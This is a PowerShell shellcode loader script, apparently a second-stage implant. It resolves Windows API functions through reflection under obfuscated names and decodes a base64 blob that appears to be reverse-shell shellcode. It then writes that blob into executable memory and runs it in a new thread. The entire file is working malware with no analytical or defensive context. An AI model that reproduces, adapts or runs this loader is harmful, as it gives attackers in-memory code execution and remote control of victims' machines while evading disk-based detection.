powershell_other_stage.ps1

function sOH {
	Param ($o73, $icO)		
	$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	
	return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
}

function b9MW {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $feiNr,
		[Parameter(Position = 1)] [Type] $owXkZ = [Void]
	)
	
	$hawT4 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$hawT4.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $feiNr).SetImplementationFlags('Runtime, Managed')
	$hawT4.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $owXkZ, $feiNr).SetImplementationFlags('Runtime, Managed')
	
	return $hawT4.CreateType()
}

[Byte[]]$bUMJ = [System.Convert]::FromBase64String("/EiB5PD////ozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSDHAUFBJvAIALLcAAAAAQVRJieRMifFBukx3Jgf/1UyJ6mgBAQAAWUG6KYBrAP/VagJZUFBNMclNMcBI/8BIicJBuuoP3+D/1UiJx2oQQVhMieJIiflBusLbN2f/1Ugx0kiJ+UG6t+k4///VTTHASDHSSIn5Qbp07Dvh/9VIiflIicdBunVuTWH/1UiBxLACAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//VSIPEIF6J9mpAQVloABAAAEFYSInySDHJQbpYpFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/nWGoAWbvgHSoKQYna/9U=")
		
$sC6US = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll VirtualAlloc), (b9MW @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $bUMJ.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($bUMJ, 0, $sC6US, $bUMJ.length)

$t6Y = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll CreateThread), (b9MW @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$sC6US,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll WaitForSingleObject), (b9MW @([IntPtr], [Int32]))).Invoke($t6Y,0xffffffff) | Out-Null